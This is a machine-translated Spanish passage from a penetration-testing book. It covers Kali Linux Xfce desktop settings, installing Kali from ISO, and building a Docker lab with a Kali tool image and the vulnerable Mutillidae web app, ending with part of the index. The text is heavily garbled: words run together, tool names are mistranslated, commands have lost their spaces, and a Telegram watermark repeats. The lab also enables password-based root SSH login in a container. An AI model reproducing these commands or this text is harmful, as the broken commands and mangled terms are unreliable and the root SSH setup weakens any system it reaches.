en la pestaña suave en lugar de la nueva ventana Agregue la acción de eliminación permanente en el menú contextual Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.23 Comportamiento del administrador de archivos Avanzado En la pestaña Avanzado, que se muestra en la Figura A.24, puede configurar aún más opciones relacionadas con Permisos de carpetas y Administración de volúmenes. Teclado El menú Teclado le permite administrar la configuración del teclado y le brinda la posibilidad de establecer accesos directos a las aplicaciones. Conducta La pestaña Comportamiento, que se muestra en la Figura A.25, le permite cambiar la configuración del comportamiento del teclado. Podrá cambiar los siguientes comportamientos del teclado: Habilitar/deshabilitar bloq num al inicio Habilitar/deshabilitar la repetición de teclas cuando descanse el dedo en el teclado Mostrar/ocultar cursor parpadeante Atajos de aplicaciones Canal de Telegram : @IRFaraExam Machine Translated by Google Los accesos directos de aplicaciones, que se muestran en la Figura A.26, son una excelente configuración. Le permiten configurar accesos directos de teclado para eliminar aplicaciones. Simplemente haga clic en Agregar para crear su propio acceso directo. Figura A.24 Configuración avanzada del administrador de archivos Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.25 Configuración del teclado En la Figura A.26, verá Ctrl+Alt+W, la combinación de teclado que creé para abrir el navegador web. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.26 Atajos de aplicación Diseño La pestaña Diseño es conveniente si desea utilizar varios tipos de teclados de idiomas. Editor de tipos MIME En la ventana Editor de tipos MIME, que se muestra en la Figura A.27 , puede modificar la aplicación predeterminada que está asociada con un tipo de archivo. Para cambiar el valor, haga doble clic en el elemento que desea editar. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.27 Editor de tipos MIME Ratón y panel táctil Puede usar las opciones de esta ventana, que se muestran en la Figura A.28, para administrar la configuración de la apariencia y el comportamiento del mouse. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.28 Configuración del ratón Estas son las principales tareas que puede realizar en esta ventana: En la pestaña Dispositivo, puede cambiar lo siguiente: Los botones del mouse (zurdos o diestros) La velocidad del puntero del mouse (aceleración y sensibilidad) En la pestaña Comportamiento, puede cambiar lo siguiente: El número de píxeles a mover antes del movimiento de arrastrar y soltar Eltiempodeduracióndedosclicsqueseconsideraundobleclic La distancia máxima para que se mueva el mouse antes de que se considere como un doble clic En la ficha Tema, puede cambiar lo siguiente: El aspecto del puntero del ratón (tema) Canal de Telegram : @IRFaraExam Machine Translated by Google tamaño del cursor Panel El panel, que se muestra en la Figura A.29 , es la barra de opciones que ve en su escritorio. En esta sección, aprenderá a personalizarlo. Más adelante en este apéndice, aprenderá a adaptar su propio panel al entorno de escritorio. Figura A.29 Barra superior Mostrar En la pestaña Pantalla, que se muestra en la Figura A.30 , puede administrar la configuración de pantalla del panel. Asegúrese de seleccionar el panel adecuado que desea personalizar de la lista desplegable superior (en nuestro ejemplo, estamos usando el Panel 1). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.30 Configuración del panel General: En esta sección, podrá hacer lo siguiente: EstablecerladirecciónenHorizontal,VerticaloBarradelescritorio Bloqueeelpanelparaevitararrastrarloporaccidente Hideiton-demandarsiempremostrar Reservespaceonborders Medidas: En este apartado se puede manipular el tamaño del panel. Tenga en cuenta que la altura del panel (panel vertical) o el ancho (panel horizontal) es igual al número de filas multiplicado por el tamaño de fila. Apariencia En la pestaña Apariencia, que se muestra en la Figura A.31, podrá cambiar la apariencia de su panel de escritorio Kalides. Puede hacer lo siguiente: Establecerelestilodefondo Ajustarlosiconosautomáticamente Cambiar su opacidad Figura A.31 Configuración de apariencia del panel Elementos Canal de Telegram : @IRFaraExam Machine Translated by Google En la pestaña Elementos, que se muestra en la Figura A.32 , tiene la opción de administrar los elementos dentro de su panel. Puede agregar, quitar o cambiar las posiciones de los iconos/elementos que pertenecen a su panel. espacios de trabajo La ventana Espacios de trabajo, que se muestra en la Figura A.33, le ofrece opciones para hacer lo siguiente: Cambiar el número de espacios de trabajo Renombrar un espacio de trabajo Establecerelmargenparasuespaciodetrabajo Figura A.32 Posición de los elementos del panel Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.33 Espacios de trabajo Administrador de ventanas En la ventana Administrador de ventanas, que se muestra en la Figura A.34, puede configurar el aspecto de la ventana, los atajos de teclado y mucho más. Figura A.34 Administrador de ventanas Canal de Telegram : @IRFaraExam Machine Translated by Google Estilo En la pestaña Estilo, puede configurar el aspecto de las ventanas abiertas en su Kali Linux. Esta es la lista de tareas que puede realizar en esta pestaña: Cambiar el tema en la lista de la sección derecha Cambiar la fuente del título y la alineación Cambiar el diseño de los botones Teclado En la pestaña Teclado, que se muestra en la Figura A.35, puede cambiar los accesos directos del teclado para manejar ventanas (por ejemplo, minimizar, maximizar, etc.). Enfocar La pestaña Enfoque, que se muestra en la Figura A.36, es difícil de entender. Simplemente, una ventana enfocada recibirá la entrada del mouse o del teclado . Lasiguientelistadeconfiguracionesquepuedeadministrarenestapestaña: Cuando seleccione Hacer clic para enfocar, la ventana se enfocará cuando haga clic en cualquier parte de su marco. Cuando selecciona Enfocar sigue al mouse, la ventana se enfocará cuando pase el mouse sobre su marco. Dar Foco Automáticamente A Una Ventana Recién Abierta Habilidad Para Apilar La Ventana Enfocada En La Parte Superior De Todas Las Abiertas Establezca Elevar Al Hacer Clic Para Levantar Su Ventana Sobre Las Otras Al Hacer Clic En Su Marco. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.35 Métodos abreviados de teclado de Windows Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.36 Ajustes de enfoque de ventana Ejemplo práctico de personalización de escritorio Todas estas configuraciones son abrumadoras a primera vista, pero el siguiente ejercicio le permitirá practicar con las configuraciones y llevar su escritorio Kali Xfcede al siguiente nivel. La idea de este ejercicio es darle una idea de lo que puede hacer con este entorno excepcional. Las siguientes son las tareas que va a realizar: Editarelpanelsuperior Agregue un segundo panel que contenga nuestras aplicaciones favoritas Cambiar el aspecto del escritorio EditarelPanelSuperior Antes de comenzar a editar el panel, tenga en cuenta que los cambios que aplica son opcionales. Puede decidir cuáles son las opciones correctas para el aspecto de su entorno Kalien. Quitar iconos Primero, elimine todos los íconos de aplicaciones en la barra superior para que pueda crear otro en la parte inferior dedicado a las aplicaciones (como un MaciOS). Abra Configuración, luego vaya a Panel ÿ Elementos, como se muestra anteriormente en la Figura A.32. Elimine algunos elementos de la lista seleccionándolos y haciendo clic en el icono menos en el lado derecho de la ventana de la pestaña. No haga clic en el botón menos en la parte superior derecha; éste eliminará todo el panel. EliminarShowDesktop. RemoveDirectoryMenu. Quite los dos elementos de lanzamiento debajo del elemento de menú de directorio. Quite dos de los cuatro elementos Separadores (debajo del elemento Menú Bigotes). La figura A.37 muestra los resultados. La Figura A.38 muestra cómo se verá el panel superior después de implementar esos cambios. Adición de un nuevo panel inferior Canal de Telegram : @IRFaraExam Machine Translated by Google A continuación, creará otro panel dedicado a los accesos directos de aplicaciones. Puede elegir las aplicaciones que desee, pero para este ejercicio agregará accesos directos a los siguientes: Administrador de archivos Nmap Eructar Ventana de terminal metasploit editor de texto navegador web Tiburón alambre Búsquedasploit Figura A.37 Configuración del panel Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.38 Cambios en el panel superior Adición de panel Para crear un nuevo panel, abra Configuración ÿ Panel y haga clic en el ícono más cerca del panel seleccionado, que en este caso es el Panel 1 (Figura A.39). Figura A.39 AgregandoPanel Una vez que haga clic en el icono más, aparecerá un nuevo panel pequeño. Arrástrelo hasta la parte inferior de la pantalla. Es importante tener en cuenta que debe centrarlo manualmente en el centro de la pantalla. A continuación, configure el Panel 2 con los ajustes que se muestran en la Figura A.40. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.40 Configuración del nuevo panel Empecemos a agregar los accesos directos. Todo esto, simplemente abra el menú y busque la aplicación que desea agregar, luego haga clic con el botón derecho y seleccione Agregar al panel, como se muestra con el editor de texto en la Figura A.41. Figura A.41 Agregar al panel Canal de Telegram : @IRFaraExam Machine Translated by Google Siga el mismo procedimiento para todas las demás aplicaciones enumeradas anteriormente. La Figura A.42 muestra el resultado final. Figura A.42 Resultados finales Cambiarelaspectodelescritorio Puede acceder a la configuración de su escritorio (oa cualquier otro módulo como el panel, el menú, etc.) haciendo clic con el botón secundario en el escritorio y seleccionando Configuración del escritorio en el menú, como se muestra en la Figura A.43. Este es un acceso directo rápido y fácil en lugar de abrir el menú y hacer clic en el acceso directo de Configuración. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.43 Configuración de escritorio CambioEscritorioFondo Después de abrir la ventana Configuración de escritorio, vaya a la pestaña Fondo para cambiar la imagen de fondo . Seleccione la última piedra en la lista (Figura A.44). Figura A.44 Fondo de escritorio Cambiar iconos de escritorio Haga clic en la pestaña Iconos (en la ventana Configuración de escritorio) para realizar los dos cambios siguientes, que se muestran en la Figura A.45: Establezca el tamaño de fuente de los iconos en 58. Quite el icono del sistema de archivos del escritorio. Canal de Telegram : @IRFaraExam Machine Translated by Google La Figura A.46 muestra el hermoso aspecto de su nuevo escritorio. Instalación de KaliLinux desde cero Anteriormente, aprendió a instalar una copia de máquina virtual preempaquetada de KaliLinux, por lo que puede seguir este apéndice. Pero supongamos que tiene una PC dedicada, como una computadora portátil, y desea instalar Kali Linux como sistema operativo principal. Necesitará una imagen ISO de Kali Linux para realizar el trabajo. Por supuesto, también puede usar un ISO para instalar un hipervisor Kaliona (p. ej., VMware, VirtualBox o Hyper-V). Eso es lo que hago personalmente cuando quiero experimentar con el nuevo proceso de instalación de cada versión de Kali Linux. Figura A.45 Configuración de iconos Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.46 Desktop New Look La primera ventana que ve al instalar el sistema operativo Kali Linux desde cero es el menú de inicio. En esta pantalla, elija Instalación gráfica (Figura A.47) de la lista y presione Enter en su teclado. Figura A.47 Instalación gráfica A continuación, elija el idioma que desea usar para Kali Linux (para este ejercicio, seleccionaremos inglés, que se muestra en la Figura A.48), y después de esta pantalla, se le pedirá que elija la ubicación de su país (para este ejercicio, elegiremos Estados Unidos). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.48 Idioma Una vez que haya seleccionado su región, la imagen de Kali se copiará en su host (también sondeará su red) y luego se le permitirá ingresar un nombre de host para su Kali . Luego se le pedirá que ingrese el nombre de dominio. Deje esta ventana vacía a menos que desee unirse a un dominio. A continuación, se le pedirá que ingrese su nombre completo, como se muestra en la Figura A.50, y en el siguiente paso, se le pedirá que ingrese la cuenta con privilegios bajos nombre de usuario. Después de configurar el nombre de usuario, se le pedirá que ingrese su contraseña dos veces para asegurarse de que no cometió ningún error en esta etapa (Figura A.51). Siguiendo la contraseña, configurará el reloj y la zona horaria del país donde vive. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.49 Nombre de host Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.50 UserFullName Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.51 Contraseña de usuario A continuación, comenzará a crear particiones en los discos y, en este ejercicio, elija la opción Guiado: Usar todo el disco, como se muestra en la Figura A.52. Si desea instalar Kali en una computadora portátil de producción, entonces debe seleccionar la opción Guiada: usar todo el disco y configurar LVM cifrado. Luego, seleccione el disco que desea particionar (Figura A.53). Aún no hemos terminado con el particionamiento del disco. En el siguiente paso, se le pedirá que elija el esquema para su partición. Yo siempre elijo Todos los archivos en una partición (Figura A.54), pero si desea seleccionar una partición separada, no dude en hacerlo. En esta etapa, podrá ver la partición de su disco de partición antes de comenzar a cambiar el disco (Figura A.55). Una vez que haya terminado de escribir este cambio en la partición, se le pedirá que instale el software (Figura A.56). Las opciones predeterminadas son Canal de Telegram : @IRFaraExam Machine Translated by Google excelente sin ningún cambio, pero siéntete libre de hacer tus propias elecciones. Luego, si está instalando Kali Linux como su sistema operativo principal en una computadora (o VM), entonces deberá habilitar el cargador de arranque GRUB (Figura A.57). Figura A.52 Discos de partición Paso 1 Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.53 Discos de partición Paso 2 Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.54 Discos de partición Paso 3 Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.55 PartitionDisksFinalStep Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.56 Selección de software Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.57 GRUBLoader La pantalla final mostrará que la instalación se ha completado (Figura A.58) . Canal de Telegram : @IRFaraExam Machine Translated by Google Figura A.58 Realización de la instalación Resumen La suposición es que usted descargó una copia de máquina virtual de Kali Linux y comenzó a practicar los ejercicios en este apéndice. Idealmente, disfrutó de leerlo y aprendió algo nuevo. Canal de Telegram : @IRFaraExam Machine Translated by Google APÉNDICE B BuildingaLabEnvironmentUsingDocker En el Apéndice A, aprendió cómo instalar Kali desde cero usando un archivo ISO. Este tipo de instalación es típica para un host de producción en el que instala Kalito y lo usa con compromisos de prueba de penetración real. Aquí profundizaremos en Docker y verá cómo funcionan las imágenes y los contenedores en la práctica. Los contenedores Docker son nuevos para algunas personas, así que aproveche este apéndice para aprender cómo funciona practicando los ejercicios. Verá algunos escenarios prácticos que le ayudarán a manejar los contenedores Docker. No se preocupe, al final de este apéndice comenzará a usar Docker como un profesional. En este apéndice, obtendrá información sobre lo siguiente: Administración de imágenes en Docker Creación de contenedores Docker Descripción de las redes y los volúmenes de Docker Practicar con un entorno Docker virtual DockerTecnología La figura B.1 muestra algunos comandos de Docker. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura B.1 Comandos de Docker Conceptos básicos de Docker Dockerissimilarto (butnotthesameas!) Ahypervisor.Theprincipal componentisaDockerimage.Forexample, theKaliLinuximageislikeanISO filebutwithoutanoperatingsystem.You'lldownloadyourimagefromDocker Hub, andthenyoucanuseittocreatecontainers.What'sinterestingaboutthis conceptisthatyoudon'thavetoinstallanoperatingsystemtorunit; itusesthe Hostos (whereDockerisinstalled) torunthecontainers.Forexample, ifyou haveawebapplication, youcangetanApacheimageforrunningthewebserver (insideacontainer) andanotherMySQLimagetorunthedatabaseinsidea contenedor (ver FigureB .2). DockerInstalación Usaremos una máquina virtual de host de escritorio Ubuntu para instalar Docker. No uso Kali Linux como host para Docker, pero puede hacerlo en caso de que no quiera usar Ubuntu: ubuntu:~$sudoaptupdate&&sudoaptinstalldocker.io-y ¡Eso es todo! Ahora está listo para comenzar a usar Docker (después de que se complete la instalación). A continuación, cambiaremos al usuario raíz para interactuar con la línea de comandos de Docker . $sudousermod-aGdocker[nombre de usuario] Canal de Telegram : @IRFaraExam Machine Translated by Google Figura B.2 Ejemplo de DockerContainer Además, puede iniciar/detener Docker manualmente mediante los siguientes comandos: $serviciodockerstart $serviciodockerstop ¿Por qué usamos Docker de todos modos? ¿No podemos usar simplemente una máquina virtual? La respuesta simple es que los contenedores de Docker son livianos en comparación con las máquinas virtuales. Canal de Telegram : @IRFaraExam Machine Translated by Google elaborará más sobre imágenes y contenedores en las próximas secciones). La integración continua/implementación continua de automatización de canalización (CI/ CD) se puede realizar utilizando un orquestador como Jenkins o TFS (aquí es donde un DevOp guardará sus comandos de Docker). Imágenes y registros Las imágenes de Docker son como archivos ISO pero no iguales (solo las estamos comparando para que pueda entender el concepto, pero son diferentes). Puede descargar (extraer) imágenes del repositorio de Docker Hub ubicado en hub.docker.com/ . Para usar DockerHub, puede descargar imágenes sin crear una cuenta. Las imágenes tienen un sistema de archivos mínimo; empecemos a practicar descargando una imagen Docker de Kali Linux: root@ubuntu:~#dockerpullkalilinux/kali A continuación, revisemos las imágenes descargadas actualmente en nuestro host: root@ubuntu:~#dockerimages Si tiene curiosidad y desea consultar las imágenes de Kali en Docker Hub, puede visitar su repositorio en hub.docker.com/u/kalilinux. Fácil, ¿verdad? Ahora estamos listos para usar nuestro contenedor usando la imagen que acabamos de descargar. Antes de pasar al tema de los contenedores, aquí hay una lista rápida de cómo administrar sus imágenes: #Parabuscarunaimagenenelregistro $dockersearch[ImageName] #Paradescargarunaimagendesdeunregistro $dockerpull[ImageName] #Paracargarunaimagenaunregistro $dockerpush[nombre de usuario/Nombre de la imagen] #Tolistthelocalhostimages $dockerimages #Paraeliminarunaimagenenelhost $dockerrmi[ImageName] Canal de Telegram : @IRFaraExam Machine Translated by Google Contenedores Ahora que hemos descargado la imagen en nuestra VM de Ubuntu, el siguiente paso es ejecutarla: root@ubuntu:~#dockerrun-itd-namekali_016820b888e0ab ÿi :Modo interactivo;mantendrá el testdinabierto -t :Willallocatea pseudo-tty ÿd :modo separado;ejecutará el contenedor en segundo plano ÿÿname :Proporcione el nombre de su contenedor Es importante comprender que puede ejecutar tantos contenedores como desee desde la misma imagen de Docker (igual que las máquinas virtuales donde puede tener varios desde la misma imagen ISO). A continuación, verifiquemos la información del contenedor en ejecución: root@ubuntu:~#dockerps-a ¡Muy bien! Según el estado, el contenedor está en funcionamiento. Ahora es el momento de comenzar a interactuar con el Kalicontainer usando el comando exec : root@ubuntu:~#dockerexec-itkali_o1/bin/bash root@4897450e4598:/ #uname-a Linux4897450e45984.15.0-91-generic#92-UbuntuSMP PROPINA Sugerencia: para salir del contenedor y volver a la sesión del terminal host, simplemente escriba el comando de salida . Hemos iniciado sesión como usuario raíz y el sistema operativo utilizado para este contenedor está basado en Ubuntu porque el contenedor comparte el sistema operativo host (que es Ubuntu). root@4897450e4598:/#msfconsole bash:msfconsole:comando no encontrado Los contenedores Docker son muy livianos (memoria/CPU/consumo de disco) para el Canal de Telegram : @IRFaraExam Machine Translated by Google sistema host. Para visualizar los consumos, puede ejecutar htop o el siguiente comando ps : $ps-aux|grepDocker ParainstalarlasherramientasnecesariasenelcontenedorKalicon,puedeejecutarelsiguientecomando root@4897450e4598:/#apt-getinstall-y\ >nmap\ >metasploitframework\ >sqlmap\ >gobuster\ >listas de palabras\ >nano\ >nfs-common\ >cifs-utils\ >git\ >&&apt-getclean PROPINA El \ al final de cada línea significa que el comando continuará en la línea siguiente, o bien se tratará como un retorno de carro. Dockerfile ¡Hay buenas noticias! Puede crear su propia imagen y preinstalar todas las herramientas en lugar de hacerlo manualmente cada vez. Para hacer el trabajo, debe crear un archivo y darle el nombre docker file sin extensión. #KaliLinuxImagenBase DESDEkalilinux/kali #Actualizar+Actualizar RUNaptupdate&&aptupgrade-y #Instalar herramientas RUNapt-getinstall-y\ nmap\ metasploit-framework\ sqlmap\ gobuster\ Canal de Telegram : @IRFaraExam Machine Translated by Google listas de palabras\ nano\ nfs-common\ cifs-utils\ git\ &&apt-getclean #GetseclistfromGitHubandsaveitinthe/optfolder RUNgitclonehttps://github.com/ danielmiessler/SecLists.git/opt/seclists #SetworkingDir WORKDIR/root/ A continuación, construimos la imagen usando el archivo docker anterior (en el siguiente código, el punto al final significa que el archivo docker está en el mismo directorio actual): root@ubuntu:/home/gus/Documents#ls dockerfile root@ubuntu:/home/gus/Documents#dockerbuildtkali_custom. Después de compilar todos los paquetes, se creará una nueva imagen localmente en su máquina host: root@ubuntu:/home/gus/Documentos#dockerimages Tome nota del tamaño de la nueva imagen en comparación con la original del registro de Kali. Volúmenes No hemos hablado sobre el almacenamiento de datos hasta ahora. En la tecnología Docker, usamos volúmenes para guardar datos. El contenedor que se inició anteriormente sellará todos los datos una vez que el contenedor se detenga. root@ubuntu:/home/gus/Documentos#dockerrun-itd-namekali_03-v/home/gus:/ roota4000ah7777 Todo lo que necesitábamos hacer en el comando anterior para agregar la opción ÿv (v significa volumen) al comando de ejecución . Después, definiremos que el directorio de inicio en el host de Ubuntu— /home/gus— se asignará a la carpeta /root dentro del contenedor. Ahora, si accedemos al contenedor de Kali, veremos el mismo contenido en el directorio de inicio que el directorio de inicio de gus en el host de Ubuntu: root@ubuntu:/home/gus/Documentos#dockerexec-itkali_03/bin/bash Canal de Telegram : @IRFaraExam Machine Translated by Google Redes ¿Cómo puede encontrar la dirección IP de su contenedor? Tenemos varios contenedores ejecutándose en este momento; elegiremos el Kali_03 como ejemplo . root@ubuntu:/home/gus/Documents#dockerinspectKali_03|grepIPAddress root@ubuntu:/home/gus/Documents#dockerinspect-f"{{.NetworkSettings.IPAddress}}"kali_03 No se puede acceder directamente a esta subred desde nuestra máquina anfitriona Ubuntu; es por eso que necesitamos usar la ÿp (que significa puertos) para acceder a los contenedores especificando primero los puertos abiertos. Por ejemplo, si desea acceder a Kalius mediante SSH, debe especificar el puerto cuando ejecuta el comando de ejecución mediante la opción ÿp . En el siguiente comando, le decimos a Docker que queremos usar el puerto 2222 en el host para acceder a SSH en Kali. Además, tenga en cuenta que estamos usando la imagen kali_custom que creamos anteriormente: root@ubuntu:/home/gus/Documentos#dockerrun-itd-namekali_04-p2222:22kali_custom En esta etapa, necesitamos instalar el servidor SSH dentro del contenedor Kalicon porque no está instalado de manera predeterminada: root@ubuntu:/home/gus/Documentos#dockerexec-itkali_04/bin/bash A continuación, establezca una contraseña para su cuenta de Kaliroot: root@48394888f:~#passwdroot El paso final es permitir que el usuario root use SSH. Para que esto funcione, necesitaremos cambiar el archivo de configuración de SSH /etc/ssh/sshd_config y asegurarnos de agregar la línea Permit RootLoginyes . Y no olvide reiniciar el servidor SSH después de guardar el archivo de configuración SSH: root@48394888f:~#nano/etc/ssh/sshd_config Ahora podemos usar SSH (desde cualquier host en la red) para iniciar sesión de forma remota en el Kalicocontainer: Canal de Telegram : @IRFaraExam Machine Translated by Google gus@ubuntu:~$sshroot@localhost-p2222 ¿Se pregunta cómo obtuvo el contenedor Kali su dirección IP? La respuesta simple es que Docker usa un modo puente para asignar direcciones IP. root@ubuntu:~#dockernetworkinspectbridge MutillidaeDockerContainer No necesitamos una máquina virtual completa solo para ejecutar una aplicación web (es un desperdicio de recursos), ¿verdad? Los contenedores Docker son útiles para tales situaciones. Primero, descargue la imagen desde DockerHub a su host local de Ubuntu: root@ubuntu:~#dockerpullcitizenstig/nowasp En segundo lugar, ejecute el contenedor. Por cierto, podríamos haber ignorado el primer paso anterior y ejecutar el comando ejecutar en su lugar. El comando ejecutar verificará si tiene una copia local de la imagen; si no, la descargará automáticamente desde DockerHub: root@ubuntu:~#dockerrun-itd-p8080:80–namemutillidae_01citizenstig/nowasp Usamos la opción ÿp para decirle a Docker que se accederá al contenedor mediante el puerto 8080 desde el host de Ubuntu (en otras palabras, el puerto 80 del contenedor se asignará al puerto 8080 en el . host) . A continuación, se le pedirá que configure la base de datos (consulte la Figura B.3) y, después de eso, el sitio debería estar en funcionamiento. ¡ Y listo! (ver Figura B.4). Ahora tiene un laboratorio vivo listo para ser explotado en menos de un minuto. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura B.3 MutillidaeDBInit Figura B.4 Página de inicio de Mutillidae Resumen Docker es un gran invento para crear entornos y servicios virtuales rápidamente. Lo que ha aprendido en este apéndice son los escenarios prácticos de esta tecnología. Por supuesto, hay muchas cosas que no cubre, pero si practicó los ejercicios, seguramente podrá comenzar a usar Docker usted mismo. Cuando comencemos los ataques de prueba de penetración, verá una vez más cómo explotar los contenedores Docker, pero primero debe comprender los fundamentos que cubrimos en este capítulo. Canal de Telegram : @IRFaraExam Machine Translated by Google Índice A ÿuna orden, 15 listas de control de acceso (ACL), 286 Hashes de ActiveDirectory, 310 Protocolo de resolución de direcciones (ARP), 68–69, 73 modos de direccionamiento, 361 Adyacente (A), en CVSS, 347 Estándar de cifrado avanzado (AES), 326–328 fase de enumeración avanzada sobre, 125–126 Protocolos CI/CD, 143–151 protocolos de base de datos, 142–143 protocolos de intercambio de archivos, 154– 158 protocolos de comunicación remota gráfica, 152– 154 protocolos de transferencia, 126–142 Protocolos web 80/443 , 151 Ventana AdvancedNetworkConfiguration(KaliXfceDesktop), 435–436 advancedscriptingscan, 128–129, 131–132, 136 Pestaña avanzada (KaliXfceDesktop), 442, 445 anacrontab,266 Fase de análisis/arquitectura (SDLC), 251–252 Instalación de ApacheWebServer, 200 Ficha Apariencia (KaliXfceDesktop), 436, 450 Pestaña de accesos directos de aplicaciones (KaliXfceDesktop), 446–447 Canal de Telegram : @IRFaraExam Machine Translated by Google modelado de amenazas de aplicaciones, 251 comando aptinstall , 41 comando aptÿcacheshow , 40–41 arquitectura (Windows), 275 argumentos, 84, 395, 401–402 operadores aritméticos, 397 comando arp-scan , 73 lenguaje ensamblador e ingeniería inversa sobre, 353 modos de direccionamiento, 361 instrucciones de montaje, 358–360 Registros de CPU, 353–357 tipos de datos, 360 segmentos de memoria, 361 ejemplo de ingeniería inversa, 361–367 activos, 251–252 cifrado asimétrico, 328–331 Complejidad de ataque (AC), en CVSS, 347 modos de ataque, 336–343 Vector de ataque (AV), en CVSS, 346–347 scripts automatizados , 270–271 análisis de vulnerabilidades automatizado, 237–238 Disponibilidad (A), en CVSS, 348 comando awk , 27–28 B Ficha de fondo (KaliXfceDesktop), 439–440 bashscripting Canal de Telegram : @IRFaraExam Machine Translated by Google sobre, 49–50 básico, 50 condiciones, 57–62 funciones, 56–57 bucles, 57–62 imprimiendo en la pantalla, 50–52 parámetros de guión, 54–56 entrada del usuario, 56 variables, 52–54 Bashshell, 193 apaleamientoramataque, 240 Ficha de comportamiento (KaliXfceDesktop), 445–446 pruebas comparativas, 332–334 directorio /bin , 2 encuadernación, 111–112 /bootdirectory,2 ataques de fuerza bruta sobre, 129–130 avanzado, 133–134 con Hydra, 136, 150–151 máscara y, 339–342 Cuentas de correo electrónico POP3, 141–142 Protocolo de escritorio remoto (RDP), 152–153 PYME, 156–157 SSH con Hydra, 132 Portales web usando Hydra , 147–151 etapa de fuerza bruta, 423–424 Canal de Telegram : @IRFaraExam Machine Translated by Google tamaño de búfer, desbordamiento de pila y, 382–383 búfer/desbordamiento de pila sobre, 369 fundamentos de, 369–378 análisis de búfer con Immunity Debugger, 372–376 Ejemplo de programa, 371–372 Instrucción POP, 371 PUSHinstrucción, 370–371 explotación de desbordamiento de pila , 378–388 mecanismos de desbordamiento de pila, 376–377 variables del conjunto de objetos integrados, 340–341 BurpExtendertab(BurpSuite), 241–244 BurpSuite sobre, 231 análisis automático de vulnerabilidades, 237–238 BurpExtendertab, 241–244 creación de informes, 244–245 elementos del sitio de enumeración, 236–237 Pestaña Intrusos, 239–241 apoderado, 234 Ficha repetidor, 238–239 ciclo de vida de desarrollo de software seguro (SDLC), 250–255 Ficha Objetivo, 234–236 Webenumeración y explotación, 231–250 Pruebas de penetración web, 232–245 C comando gato , 4, 13, 24, 28 Canal de Telegram : @IRFaraExam Machine Translated by Google exploración de categorías, 82–84 C/C++ ejemplo, 371–372 VisualStudio Codefor, 362–363 comando cd , 2, 23 Cambiado (C), en CVSS, 347 personajes, malos, 386–387 suma de control, 320 comando chmod , 18 Protocolos CI/CD sobre, 143 Portales web de fuerza bruta usando Hydra, 147–151 Ventana acoplable (Puerto 2375), 144–145 Jenkins (Puerto 8080/50000), 145–147 Enrutamiento entre dominios sin clases (CIDR), 69–70 comando claro , 4 cleartextinformation,sniffingfor, 180–183 CLI, 395 ataque en racimo, 240 refactorización de código, 417 carácter de colon(:), 15, 400 combinador, 337–338 inyección de comando, 217 comandos Vertambiéncomandosespecíficos base de datos ejecutiva, 210–215 ventana de terminal, 3–6 usuario, 10–13 Canal de Telegram : @IRFaraExam Machine Translated by Google comandosvariable, 54 comentarios, en Python, 393 Common Vulnerability Scoring System (CVSS), 346–349 operadores de comparación, 403–404 compresión, archivos, 21–22 condiciones, 57–62, 403 Confidencialidad(C),enCVSS, 347 conexiones establecido, 46–47 a acciones SMB, 196–197 constructores, 408 contenedores Estibador , 470–474 corriendo, 187 tipo de contenido, 227 control de EIP, 383–385 función de copia sobre escritura (COW), 258–261 Impacto central, 169 función de conteo , 399 portada, para informes, 350 comando cp , 19 registros de CPU sobre, 353–354 bandera, 357 general, 354–355 índice, 355 puntero, 355 Canal de Telegram : @IRFaraExam Machine Translated by Google segmento, 355–356 CrackMapExectotool, 310–312 gateando, 246 CRONjobsprivilegeescalation, 264–267 crontab, 265 falsificación de solicitud entre sitios (CSRF), 220–223 secuencias de comandos entre sitios (XSS) sobre, 203 explotando usando encabezado, 205–207 reflejado, 203–204 almacenado, 204–205 cryptographyandhashcracking about, 319 conceptos básicos de criptografía, 319–331 conceptos básicos de encriptación, 326–328 código autenticado de mensaje basado en hash (HMAC), 325 contraseñas hash, 323–325 Algoritmo de hash seguro (SHA), 323 utilizandoHashcat, 331–343 flujo de trabajo para el cracking de hash, 343 juegos de caracteres personalizados, 341–342 comando cortar , 27–28 D diagrama de flujo de datos, 252 tipos de datos, 360 protocolos de base de datos sobre, 142 Canal de Telegram : @IRFaraExam Machine Translated by Google MicrosoftSQLServer(Puerto1433), 142 MySQL (Puerto 3306), 143 Servidor de base de datos Oracle (Puerto 1521), 143 bases de datos instalación, 201–202 consultando, 208–210 configuración, 201–202 depuración de Pythonscripts, 391–392 defaultscript, 128 Ventana de escritorio (KaliXfceDesktop), 439 directorio /dev , 2 Fase de desarrollo (SDLC), 252–255 DevSecOps, 199 diccionario, 336–337, 400 resumen, 320 directorios, 23–24 dirtycowkernelexploit, 258–261 unidades de disco, listado, 276 Ficha de visualización (KaliXfceDesktop), 441–444, 449–450 mostrar archivos/carpetas, 15–16 Dmitry, 99 Envenenamiento por DNS, 46 Ventana acoplable (Puerto 2375) sobre, 144–145, 467 fundamentos de, 468 explotación, 185–190 hostexploitation, 188 Canal de Telegram : @IRFaraExam Machine Translated by Google instalación, 468–469 tecnología de, 468–475 Docker Hub, 470 archivo acoplable , 472 Sistema de nombres de dominio (DNS), 45–46 Enumeración del sistema de nombres de dominio (DNS) sobre, 84 DNSfuerza bruta, 85–86 Subdominios DNS, 87–88 Transferencia de DNS, 86–87 comillas dobles, 52 descargando Kaliimágenes, 186 PowerShellscript, 120–121 máquinas virtuales (VM), 428–429 comando dpkg , 40 PatoPatoGo, 91 Herramienta DynamicApplicationSecurityTesting(DAST), 255 